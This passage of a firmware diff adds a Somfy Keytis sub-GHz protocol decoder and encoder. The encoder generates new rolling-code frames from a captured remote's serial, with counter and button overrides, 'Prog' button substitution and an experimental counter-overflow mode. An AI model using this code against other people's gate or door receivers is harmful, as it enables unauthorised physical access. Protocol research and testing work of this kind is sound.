+    uint8_t original_btn_code = subghz_custom_btn_get_original();
+    uint8_t btn = original_btn_code;
+
+    // Set custom button
+    if((custom_btn_id == SUBGHZ_CUSTOM_BTN_OK) && (original_btn_code != 0)) {
+        // Restore original button code
+        btn = original_btn_code;
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_UP) {
+        switch(original_btn_code) {
+        case 0x4:
+            btn = 0x3;
+            break;
+        case 0x3:
+            btn = 0x4;
+            break;
+
+        default:
+            break;
+        }
+    }
+
+    return btn;
+}
+
+static bool
+    subghz_protocol_somfy_keytis_gen_data(SubGhzProtocolEncoderSomfyKeytis* instance, uint8_t btn) {
+    //instance->generic.btn = (data >> 48) & 0xF;
+    //instance->generic.cnt = (data >> 24) & 0xFFFF;
+    //instance->generic.serial = data & 0xFFFFFF;
+    // Save original button for later use
+    if(subghz_custom_btn_get_original() == 0) {
+        subghz_custom_btn_set_original(btn);
+    }
+
+    btn = subghz_protocol_somfy_keytis_get_btn_code();
+
+    // override button if we change it with signal settings button editor
+    if(subghz_block_generic_global_button_override_get(&btn))
+        FURI_LOG_D(TAG, "Button sucessfully changed to 0x%X", btn);
+
+    // Check for OFEX (overflow experimental) mode
+    if(furi_hal_subghz_get_rolling_counter_mult() != -0x7FFFFFFF) {
+        // standart counter mode. PULL data from subghz_block_generic_global variables
+        if(!subghz_block_generic_global_counter_override_get(&instance->generic.cnt)) {
+            // if counter_override_get return FALSE then counter was not changed and we increase counter by standart mult value
+            if((instance->generic.cnt + furi_hal_subghz_get_rolling_counter_mult()) > 0xFFFF) {
+                instance->generic.cnt = 0;
+            } else {
+                instance->generic.cnt += furi_hal_subghz_get_rolling_counter_mult();
+            }
+        }
+    } else {
+        if((instance->generic.cnt + 0x1) > 0xFFFF) {
+            instance->generic.cnt = 0;
+        } else if(instance->generic.cnt >= 0x1 && instance->generic.cnt != 0xFFFE) {
+            instance->generic.cnt = 0xFFFE;
+        } else {
+            instance->generic.cnt++;
+        }
+    }
+
+    uint8_t frame[10];
+    frame[0] = (0xA << 4) | btn;
+    frame[1] = 0xF << 4;
+    frame[2] = instance->generic.cnt >> 8;
+    frame[3] = instance->generic.cnt;
+    frame[4] = instance->generic.serial >> 16;
+    frame[5] = instance->generic.serial >> 8;
+    frame[6] = instance->generic.serial;
+    frame[7] = 0xC4;
+    frame[8] = 0x00;
+    frame[9] = 0x19;
+
+    uint8_t checksum = 0;
+    for(uint8_t i = 0; i < 7; i++) {
+        checksum = checksum ^ frame[i] ^ (frame[i] >> 4);
+    }
+    checksum &= 0xF;
+
+    frame[1] |= checksum;
+
+    for(uint8_t i = 1; i < 7; i++) {
+        frame[i] ^= frame[i - 1];
+    }
+    uint64_t data = 0;
+    for(uint8_t i = 0; i < 7; ++i) {
+        data <<= 8;
+        data |= frame[i];
+    }
+    instance->generic.data = data;
+    data = 0;
+    for(uint8_t i = 7; i < 10; ++i) {
+        data <<= 8;
+        data |= frame[i];
+    }
+    instance->generic.seed = data;
+    return true;
+}
+
+bool subghz_protocol_somfy_keytis_create_data(
+    void* context,
+    FlipperFormat* flipper_format,
+    uint32_t serial,
+    uint8_t btn,
+    uint16_t cnt,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolEncoderSomfyKeytis* instance = context;
+    instance->generic.serial = serial;
+    instance->generic.cnt = cnt;
+    instance->generic.data_count_bit = 80;
+    subghz_protocol_somfy_keytis_gen_data(instance, btn);
+
+    // Encode complete, now serialize
+    SubGhzProtocolStatus res =
+        subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+
+    if(!flipper_format_rewind(flipper_format)) {
+        FURI_LOG_E(TAG, "Rewind error");
+        res = SubGhzProtocolStatusErrorParserOthers;
+    }
+
+    if((res == SubGhzProtocolStatusOk) &&
+       !flipper_format_insert_or_update_uint32(
+           flipper_format, "Duration_Counter", &instance->generic.seed, 1)) {
+        FURI_LOG_E(TAG, "Unable to add Duration_Counter");
+        res = SubGhzProtocolStatusErrorParserOthers;
+    }
+
+    return res == SubGhzProtocolStatusOk;
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderSomfyKeytis instance
+ * @return true On success
+ */
+static bool subghz_protocol_encoder_somfy_keytis_get_upload(
+    SubGhzProtocolEncoderSomfyKeytis* instance,
+    uint8_t btn) {
+    furi_assert(instance);
+
+    // Gen new key
+    if(!subghz_protocol_somfy_keytis_gen_data(instance, btn)) {
+        return false;
+    }
+
+    size_t index = 0;
+
+    //Send header
+    //Wake up
+    instance->encoder.upload[index++] = level_duration_make(true, (uint32_t)9415); // 1
+    instance->encoder.upload[index++] = level_duration_make(false, (uint32_t)89565); // 0
+    //Hardware sync
+    for(uint8_t i = 0; i < 12; ++i) {
+        instance->encoder.upload[index++] = level_duration_make(
+            true, (uint32_t)subghz_protocol_somfy_keytis_const.te_short * 4); // 1
+        instance->encoder.upload[index++] = level_duration_make(
+            false, (uint32_t)subghz_protocol_somfy_keytis_const.te_short * 4); // 0
+    }
+    //Software sync
+    instance->encoder.upload[index++] = level_duration_make(true, (uint32_t)4550); // 1
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_somfy_keytis_const.te_short); // 0
+
+    //Send key data MSB manchester
+
+    for(uint8_t i = instance->generic.data_count_bit - 24; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            if(instance->encoder.upload[index - 1].level == LEVEL_DURATION_LEVEL_LOW) {
+                instance->encoder.upload[index - 1].duration *= 2; // 00
+                instance->encoder.upload[index++] = level_duration_make(
+                    true, (uint32_t)subghz_protocol_somfy_keytis_const.te_short); // 1
+            } else {
+                instance->encoder.upload[index++] = level_duration_make(
+                    false, (uint32_t)subghz_protocol_somfy_keytis_const.te_short); // 0
+                instance->encoder.upload[index++] = level_duration_make(
+                    true, (uint32_t)subghz_protocol_somfy_keytis_const.te_short); // 1
+            }
+
+        } else {
+            if(instance->encoder.upload[index - 1].level == LEVEL_DURATION_LEVEL_HIGH) {
+                instance->encoder.upload[index - 1].duration *= 2; // 11
+                instance->encoder.upload[index++] = level_duration_make(
+                    false, (uint32_t)subghz_protocol_somfy_keytis_const.te_short); // 0
+            } else {
+                instance->encoder.upload[index++] = level_duration_make(
+                    true, (uint32_t)subghz_protocol_somfy_keytis_const.te_short); // 1
+                instance->encoder.upload[index++] = level_duration_make(
+                    false, (uint32_t)subghz_protocol_somfy_keytis_const.te_short); // 0
+            }
+        }
+    }
+
+    for(uint8_t i = 24; i > 0; i--) {
+        if(bit_read(instance->generic.seed, i - 1)) {
+            if(instance->encoder.upload[index - 1].level == LEVEL_DURATION_LEVEL_LOW) {
+                instance->encoder.upload[index - 1].duration *= 2; // 00
+                instance->encoder.upload[index++] = level_duration_make(
+                    true, (uint32_t)subghz_protocol_somfy_keytis_const.te_short); // 1
+            } else {
+                instance->encoder.upload[index++] = level_duration_make(
+                    false, (uint32_t)subghz_protocol_somfy_keytis_const.te_short); // 0
+                instance->encoder.upload[index++] = level_duration_make(
+                    true, (uint32_t)subghz_protocol_somfy_keytis_const.te_short); // 1
+            }
+
+        } else {
+            if(instance->encoder.upload[index - 1].level == LEVEL_DURATION_LEVEL_HIGH) {
+                instance->encoder.upload[index - 1].duration *= 2; // 11
+                instance->encoder.upload[index++] = level_duration_make(
+                    false, (uint32_t)subghz_protocol_somfy_keytis_const.te_short); // 0
+            } else {
+                instance->encoder.upload[index++] = level_duration_make(
+                    true, (uint32_t)subghz_protocol_somfy_keytis_const.te_short); // 1
+                instance->encoder.upload[index++] = level_duration_make(
+                    false, (uint32_t)subghz_protocol_somfy_keytis_const.te_short); // 0
+            }
+        }
+    }
+
+    //Inter-frame silence
+    if(instance->encoder.upload[index - 1].level == LEVEL_DURATION_LEVEL_LOW) {
+        instance->encoder.upload[index - 1].duration +=
+            (uint32_t)subghz_protocol_somfy_keytis_const.te_short * 3;
+    } else {
+        instance->encoder.upload[index++] =
+            level_duration_make(false, (uint32_t)subghz_protocol_somfy_keytis_const.te_short * 3);
+    }
+
+    for(uint8_t i = 0; i < 2; ++i) {
+        //Hardware sync
+        for(uint8_t i = 0; i < 6; ++i) {
+            instance->encoder.upload[index++] = level_duration_make(
+                true, (uint32_t)subghz_protocol_somfy_keytis_const.te_short * 4); // 1
+            instance->encoder.upload[index++] = level_duration_make(
+                false, (uint32_t)subghz_protocol_somfy_keytis_const.te_short * 4); // 0
+        }
+        //Software sync
+        instance->encoder.upload[index++] = level_duration_make(true, (uint32_t)4550); // 1
+        instance->encoder.upload[index++] =
+            level_duration_make(false, (uint32_t)subghz_protocol_somfy_keytis_const.te_short); // 0
+
+        //Send key data MSB manchester
+
+        for(uint8_t i = instance->generic.data_count_bit - 24; i > 0; i--) {
+            if(bit_read(instance->generic.data, i - 1)) {
+                if(instance->encoder.upload[index - 1].level == LEVEL_DURATION_LEVEL_LOW) {
+                    instance->encoder.upload[index - 1].duration *= 2; // 00
+                    instance->encoder.upload[index++] = level_duration_make(
+                        true, (uint32_t)subghz_protocol_somfy_keytis_const.te_short); // 1
+                } else {
+                    instance->encoder.upload[index++] = level_duration_make(
+                        false, (uint32_t)subghz_protocol_somfy_keytis_const.te_short); // 0
+                    instance->encoder.upload[index++] = level_duration_make(
+                        true, (uint32_t)subghz_protocol_somfy_keytis_const.te_short); // 1
+                }
+
+            } else {
+                if(instance->encoder.upload[index - 1].level == LEVEL_DURATION_LEVEL_HIGH) {
+                    instance->encoder.upload[index - 1].duration *= 2; // 11
+                    instance->encoder.upload[index++] = level_duration_make(
+                        false, (uint32_t)subghz_protocol_somfy_keytis_const.te_short); // 0
+                } else {
+                    instance->encoder.upload[index++] = level_duration_make(
+                        true, (uint32_t)subghz_protocol_somfy_keytis_const.te_short); // 1
+                    instance->encoder.upload[index++] = level_duration_make(
+                        false, (uint32_t)subghz_protocol_somfy_keytis_const.te_short); // 0
+                }
+            }
+        }
+
+        for(uint8_t i = 24; i > 0; i--) {
+            if(bit_read(instance->generic.seed, i - 1)) {
+                if(instance->encoder.upload[index - 1].level == LEVEL_DURATION_LEVEL_LOW) {
+                    instance->encoder.upload[index - 1].duration *= 2; // 00
+                    instance->encoder.upload[index++] = level_duration_make(
+                        true, (uint32_t)subghz_protocol_somfy_keytis_const.te_short); // 1
+                } else {
+                    instance->encoder.upload[index++] = level_duration_make(
+                        false, (uint32_t)subghz_protocol_somfy_keytis_const.te_short); // 0
+                    instance->encoder.upload[index++] = level_duration_make(
+                        true, (uint32_t)subghz_protocol_somfy_keytis_const.te_short); // 1
+                }
+
+            } else {
+                if(instance->encoder.upload[index - 1].level == LEVEL_DURATION_LEVEL_HIGH) {
+                    instance->encoder.upload[index - 1].duration *= 2; // 11
+                    instance->encoder.upload[index++] = level_duration_make(
+                        false, (uint32_t)subghz_protocol_somfy_keytis_const.te_short); // 0
+                } else {
+                    instance->encoder.upload[index++] = level_duration_make(
+                        true, (uint32_t)subghz_protocol_somfy_keytis_const.te_short); // 1
+                    instance->encoder.upload[index++] = level_duration_make(
+                        false, (uint32_t)subghz_protocol_somfy_keytis_const.te_short); // 0
+                }
+            }
+        }
+        //Inter-frame silence
+        if(instance->encoder.upload[index - 1].level == LEVEL_DURATION_LEVEL_LOW) {
+            instance->encoder.upload[index - 1].duration +=
+                (uint32_t)subghz_protocol_somfy_keytis_const.te_short * 3;
+        } else {
+            instance->encoder.upload[index++] = level_duration_make(
+                false, (uint32_t)subghz_protocol_somfy_keytis_const.te_short * 3);
+        }
+    }
+
+    //Inter-frame silence
+    instance->encoder.upload[index - 1].duration +=
+        (uint32_t)30415 - (uint32_t)subghz_protocol_somfy_keytis_const.te_short * 3;
+
+    size_t size_upload = index;
+
+    if(size_upload > instance->encoder.size_upload) {
+        FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
+        return false;
+    } else {
+        instance->encoder.size_upload = size_upload;
+    }
+    return true;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_somfy_keytis_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderSomfyKeytis* instance = context;
+    SubGhzProtocolStatus res = SubGhzProtocolStatusError;
+    do {
+        if(SubGhzProtocolStatusOk !=
+           subghz_block_generic_deserialize(&instance->generic, flipper_format)) {
+            FURI_LOG_E(TAG, "Deserialize error");
+            break;
+        }
+
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        subghz_protocol_somfy_keytis_check_remote_controller(&instance->generic);
+
+        subghz_protocol_encoder_somfy_keytis_get_upload(instance, instance->generic.btn);
+
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+        uint8_t key_data[sizeof(uint64_t)] = {0};
+        for(size_t i = 0; i < sizeof(uint64_t); i++) {
+            key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> i * 8) & 0xFF;
+        }
+        if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Unable to add Key");
+            break;
+        }
+
+        instance->encoder.is_running = true;
+
+        res = SubGhzProtocolStatusOk;
+    } while(false);
+
+    return res;
+}
+
+void subghz_protocol_encoder_somfy_keytis_stop(void* context) {
+    SubGhzProtocolEncoderSomfyKeytis* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_somfy_keytis_yield(void* context) {
+    SubGhzProtocolEncoderSomfyKeytis* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+/** 
+ * Сhecksum calculation.
+ * @param data Вata for checksum calculation
+ * @return CRC
+ */
+static uint8_t subghz_protocol_somfy_keytis_crc(uint64_t data) {
+    uint8_t crc = 0;
+    data &= 0xFFF0FFFFFFFFFF;
+    for(uint8_t i = 0; i < 56; i += 8) {
+        crc = crc ^ data >> i ^ (data >> (i + 4));
+    }
+    return crc & 0xf;
+}
+
+void subghz_protocol_decoder_somfy_keytis_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderSomfyKeytis* instance = context;
+
+    ManchesterEvent event = ManchesterEventReset;
+    switch(instance->decoder.parser_step) {
+    case SomfyKeytisDecoderStepReset:
+        if((level) && DURATION_DIFF(duration, subghz_protocol_somfy_keytis_const.te_short * 4) <
+                          subghz_protocol_somfy_keytis_const.te_delta * 4) {
+            instance->decoder.parser_step = SomfyKeytisDecoderStepFoundPreambula;
+            instance->header_count++;
+        }
+        break;
+    case SomfyKeytisDecoderStepFoundPreambula:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_somfy_keytis_const.te_short * 4) <
+                        subghz_protocol_somfy_keytis_const.te_delta * 4)) {
+            instance->decoder.parser_step = SomfyKeytisDecoderStepCheckPreambula;
+        } else {
+            instance->header_count = 0;
+            instance->decoder.parser_step = SomfyKeytisDecoderStepReset;
+        }
+        break;
+    case SomfyKeytisDecoderStepCheckPreambula:
+        if(level) {
+            if(DURATION_DIFF(duration, subghz_protocol_somfy_keytis_const.te_short * 4) <
+               subghz_protocol_somfy_keytis_const.te_delta * 4) {
+                instance->decoder.parser_step = SomfyKeytisDecoderStepFoundPreambula;
+                instance->header_count++;
+            } else if(
+                (instance->header_count > 1) &&
+                (DURATION_DIFF(duration, subghz_protocol_somfy_keytis_const.te_short * 7) <
+                 subghz_protocol_somfy_keytis_const.te_delta * 4)) {
+                instance->decoder.parser_step = SomfyKeytisDecoderStepDecoderData;
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                instance->generic.seed = 0;
+                manchester_advance(
+                    instance->manchester_saved_state,
+                    ManchesterEventReset,
+                    &instance->manchester_saved_state,
+                    NULL);
+                manchester_advance(
+                    instance->manchester_saved_state,
+                    ManchesterEventLongHigh,
+                    &instance->manchester_saved_state,
+                    NULL);
+            }
+        }
+
+        break;
+
+    case SomfyKeytisDecoderStepDecoderData:
+        if(!level) {
+            if(DURATION_DIFF(duration, subghz_protocol_somfy_keytis_const.te_short) <
+               subghz_protocol_somfy_keytis_const.te_delta) {
+                event = ManchesterEventShortLow;
+            } else if(
+                DURATION_DIFF(duration, subghz_protocol_somfy_keytis_const.te_long) <
+                subghz_protocol_somfy_keytis_const.te_delta) {
+                event = ManchesterEventLongLow;
+            } else if(
+                duration >= (subghz_protocol_somfy_keytis_const.te_long +
+                             subghz_protocol_somfy_keytis_const.te_delta)) {
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_somfy_keytis_const.min_count_bit_for_found) {
+                    //check crc
+                    uint64_t data_tmp = instance->generic.data ^ (instance->generic.data >> 8);
+                    if(((data_tmp >> 40) & 0xF) == subghz_protocol_somfy_keytis_crc(data_tmp)) {
+                        instance->generic.data = instance->decoder.decode_data;
+                        instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+
+                        if(instance->base.callback)
+                            instance->base.callback(&instance->base, instance->base.context);
+                    }
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                manchester_advance(
+                    instance->manchester_saved_state,
+                    ManchesterEventReset,
+                    &instance->manchester_saved_state,
+                    NULL);
+                manchester_advance(
+                    instance->manchester_saved_state,
+                    ManchesterEventLongHigh,
+                    &instance->manchester_saved_state,
+                    NULL);
+                instance->decoder.parser_step = SomfyKeytisDecoderStepReset;
+            } else {
+                instance->decoder.parser_step = SomfyKeytisDecoderStepReset;
+            }
+        } else {
+            if(DURATION_DIFF(duration, subghz_protocol_somfy_keytis_const.te_short) <
+               subghz_protocol_somfy_keytis_const.te_delta) {
+                event = ManchesterEventShortHigh;
+            } else if(
+                DURATION_DIFF(duration, subghz_protocol_somfy_keytis_const.te_long) <
+                subghz_protocol_somfy_keytis_const.te_delta) {
+                event = ManchesterEventLongHigh;
+            } else {
+                instance->decoder.parser_step = SomfyKeytisDecoderStepReset;
+            }
+        }
+        if(event != ManchesterEventReset) {
+            bool data;
+            bool data_ok = manchester_advance(
+                instance->manchester_saved_state, event, &instance->manchester_saved_state, &data);
+
+            if(data_ok) {
+                if(instance->decoder.decode_count_bit < 56) {
+                    instance->decoder.decode_data = (instance->decoder.decode_data << 1) | data;
+                } else {
+                    instance->generic.seed = (instance->generic.seed << 1) | data;
+                }
+
+                instance->decoder.decode_count_bit++;
+            }
+        }
+        break;
+    }
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_somfy_keytis_check_remote_controller(SubGhzBlockGeneric* instance) {
+    //https://pushstack.wordpress.com/somfy-rts-protocol/
+    /*
+ *                                                  604 us
+ *                                                  /
+ *  | 2416us | 2416us | 2416us | 2416us | 4550 us |  | 
+ *  
+ *  +--------+        +--------+        +---...---+
+ *  +        +--------+        +--------+         +--+XXXX...XXX+
+ *  
+ *  |              hw. sync.            |   soft.    |          |
+ *  |                                   |   sync.    |   data   |
+ *  
+ * 
+ *     encrypt              |           decrypt
+ *  
+ *  package 80 bit   pdc      key btn   crc cnt serial
+ * 
+ * 0xA453537C4B9855 C40019 => 0xA  4  F  7 002F 37D3CD
+ * 0xA453537C4B9855 C80026 => 0xA  4  F  7 002F 37D3CD
+ * 0xA453537C4B9855 CC0033 => 0xA  4  F  7 002F 37D3CD
+ * 0xA453537C4B9855 D00049 => 0xA  4  F  7 002F 37D3CD
+ * 0xA453537C4B9855 D4005C => 0xA  4  F  7 002F 37D3CD
+ * 0xA453537C4B9855 D80063 => 0xA  4  F  7 002F 37D3CD
+ * 0xA453537C4B9855 DC0076 => 0xA  4  F  7 002F 37D3CD
+ * 0xA453537C4B9855 E00086 => 0xA  4  F  7 002F 37D3CD
+ * 0xA453537C4B9855 E40093 => 0xA  4  F  7 002F 37D3CD
+ * 0xA453537C4B9855 E800AC => 0xA  4  F  7 002F 37D3CD
+ * 0xA453537C4B9855 EC00B9 => 0xA  4  F  7 002F 37D3CD
+ * 0xA453537C4B9855 F000C3 => 0xA  4  F  7 002F 37D3CD
+ * 0xA453537C4B9855 F400D6 => 0xA  4  F  7 002F 37D3CD
+ * 0xA453537C4B9855 F800E9 => 0xA  4  F  7 002F 37D3CD
+ * 0xA453537C4B9855 FC00FC => 0xA  4  F  7 002F 37D3CD
+ * 0xA453537C4B9855 FC0102 => 0xA  4  F  7 002F 37D3CD
+ * 0xA453537C4B9855 FC0113 => 0xA  4  F  7 002F 37D3CD
+ * 0xA453537C4B9855 FC0120 => 0xA  4  F  7 002F 37D3CD
+ * ..........
+ * 0xA453537C4B9855 FC048F => 0xA  4  F  7 002F 37D3CD
+ *
+ * Pdc: "Press Duration Counter" the total delay of the button is sent 72 parcels,
+ *            pdc          cnt4b           cnt8b  pdc_crc
+ *           C40019	 =>	 11 0001 00 0000 00000001 1001
+ *           C80026  =>  11 0010 00 0000 00000010 0110
+ *           CC0033  =>  11 0011 00 0000 00000011 0011
+ *           D00049  =>  11 0100 00 0000 00000100 1001
+ *           D4005C  =>  11 0101 00 0000 00000101 1100
+ *           D80063  =>  11 0110 00 0000 00000110 0011
+ *           DC0076  =>  11 0111 00 0000 00000111 0110
+ *           E00086  =>  11 1000 00 0000 00001000 0110
+ *           E40093  =>  11 1001 00 0000 00001001 0011
+ *           E800AC  =>  11 1010 00 0000 00001010 1100
+ *           EC00B9  =>  11 1011 00 0000 00001011 1001
+ *           F000C3  =>  11 1100 00 0000 00001100 0011
+ *           F400D6  =>  11 1101 00 0000 00001101 0110
+ *           F800E9  =>  11 1110 00 0000 00001110 1001
+ *           FC00FC  =>  11 1111 00 0000 00001111 1100
+ *           FC0102  =>  11 1111 00 0000 00010000 0010
+ *           FC0113  =>  11 1111 00 0000 00010001 0011
+ *           FC0120  =>  11 1111 00 0000 00010010 0000
+ * 
+ *           Cnt4b: 4-bit counter changes from 1 to 15 then always equals 15
+ *           Cnt8b: 8-bit counter changes from 1 to 72 (0x48)
+ *           Ppdc_crc: 
+ *                  uint8_t crc=0;
+ *                  for(i=4; i<24; i+=4){
+ *                      crc ^=(pdc>>i);
+ *                  }
+ *                  return crc;
+ *               example: crc = 1^0^0^4^C = 9
+ *           11, 00, 0000: const
+ *          
+ * Key: “Encryption Key”, Most significant 4-bit are always 0xA, Least Significant bits is 
+ *      a linear counter. In the Smoove Origin this counter is increased together with the 
+ *      rolling code. But leaving this on a constant value also works. Gerardwr notes that 
+ *      for some other types of remotes the MSB is not constant.
+ * Btn: 4-bit Control codes, this indicates the button that is pressed
+ * CRC: 4-bit Checksum.
+ * Ctn: 16-bit rolling code (big-endian) increased with every button press.
+ * Serial: 24-bit identifier of sending device (little-endian)
+ * 
+ * 
+ *      Decrypt
+ *  
+ *      uint8_t frame[7];
+ *      for (i=1; i < 7; i++) {
+ *          frame[i] = frame[i] ^ frame[i-1];
+ *      }
+ *      or
+ *      uint64 Decrypt = frame ^ (frame>>8);
+ * 
+ *      CRC
+ * 
+ *      uint8_t frame[7];
+ *      for (i=0; i < 7; i++) {
+ *          crc = crc ^ frame[i] ^ (frame[i] >> 4);
+ *      }
+ *      crc = crc & 0xf;
+ *
+ */
+
+    uint64_t data = instance->data ^ (instance->data >> 8);
+    instance->btn = (data >> 48) & 0xF;
+    instance->cnt = (data >> 24) & 0xFFFF;
+    instance->serial = data & 0xFFFFFF;
+
+    // Save original button for later use
+    if(subghz_custom_btn_get_original() == 0) {
+        subghz_custom_btn_set_original(instance->btn);
+    }
+    subghz_custom_btn_set_max(1);
+}
+
+/** 
+ * Get button name.
+ * @param btn Button number, 4 bit
+ */
+static const char* subghz_protocol_somfy_keytis_get_name_button(uint8_t btn) {
+    const char* name_btn[0x10] = {
+        "Unknown",
+        "0x01",
+        "0x02",
+        "Prog",
+        "Key_1",
+        "0x05",
+        "0x06",
+        "0x07",
+        "0x08",
+        "0x09",
+        "0x0A",
+        "0x0B",
+        "0x0C",
+        "0x0D",
+        "0x0E",
+        "0x0F"};
+    return btn <= 0xf ? name_btn[btn] : name_btn[0];
+}
+
+uint8_t subghz_protocol_decoder_somfy_keytis_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderSomfyKeytis* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_somfy_keytis_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderSomfyKeytis* instance = context;
+    SubGhzProtocolStatus ret =
+        subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+    if((ret == SubGhzProtocolStatusOk) &&
+       !flipper_format_write_uint32(
+           flipper_format, "Duration_Counter", &instance->generic.seed, 1)) {
+        FURI_LOG_E(TAG, "Unable to add Duration_Counter");
+        ret = SubGhzProtocolStatusErrorParserOthers;
+    }
+    return ret;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_somfy_keytis_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderSomfyKeytis* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_somfy_keytis_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            ret = SubGhzProtocolStatusErrorParserOthers;
+            break;
+        }
+        if(!flipper_format_read_uint32(
+               flipper_format, "Duration_Counter", (uint32_t*)&instance->generic.seed, 1)) {
+            FURI_LOG_E(TAG, "Missing Duration_Counter");
+            ret = SubGhzProtocolStatusErrorParserOthers;
+            break;
+        }
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_decoder_somfy_keytis_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderSomfyKeytis* instance = context;
+
+    subghz_protocol_somfy_keytis_check_remote_controller(&instance->generic);
+
+    // push protocol data to global variable
+    subghz_block_generic_global.cnt_is_available = true;
+    subghz_block_generic_global.cnt_length_bit = 16;
+    subghz_block_generic_global.current_cnt = instance->generic.cnt;
+
+    subghz_block_generic_global.btn_is_available = true;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 4;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s %db\r\n"
+        "%lX%08lX%06lX\r\n"
+        "Sn:0x%06lX \r\n"
+        "Cnt:%04lX\r\n"
+        "Btn:%X - %s\r\n",
+
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint32_t)(instance->generic.data >> 32),
+        (uint32_t)instance->generic.data,
+        instance->generic.seed,
+        instance->generic.serial,
+        instance->generic.cnt,
+        instance->generic.btn,
+        subghz_protocol_somfy_keytis_get_name_button(instance->generic.btn));
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/somfy_keytis.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/somfy_keytis.h
new file mode 100644
index 000000000..d7e8df109
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/somfy_keytis.h
@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_SOMFY_KEYTIS_NAME "Somfy Keytis"
+
+typedef struct SubGhzProtocolDecoderSomfyKeytis SubGhzProtocolDecoderSomfyKeytis;
+typedef struct SubGhzProtocolEncoderSomfyKeytis SubGhzProtocolEncoderSomfyKeytis;
+
+extern const SubGhzProtocolDecoder subghz_protocol_somfy_keytis_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_somfy_keytis_encoder;
+extern const SubGhzProtocol subghz_protocol_somfy_keytis;
+
+/**
+ * Allocate SubGhzProtocolEncoderSomfyKeytis.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderSomfyKeytis* pointer to a SubGhzProtocolEncoderSomfyKeytis instance
+ */
+void* subghz_protocol_encoder_somfy_keytis_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderSomfyKeytis.
+ * @param context Pointer to a SubGhzProtocolEncoderSomfyKeytis instance
+ */
+void subghz_protocol_encoder_somfy_keytis_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderSomfyKeytis instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return true On success
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_somfy_keytis_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderSomfyKeytis instance
+ */
+void subghz_protocol_encoder_somfy_keytis_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderSomfyKeytis instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_somfy_keytis_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderSomfyKeytis.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderSomfyKeytis* pointer to a SubGhzProtocolDecoderSomfyKeytis instance
+ */
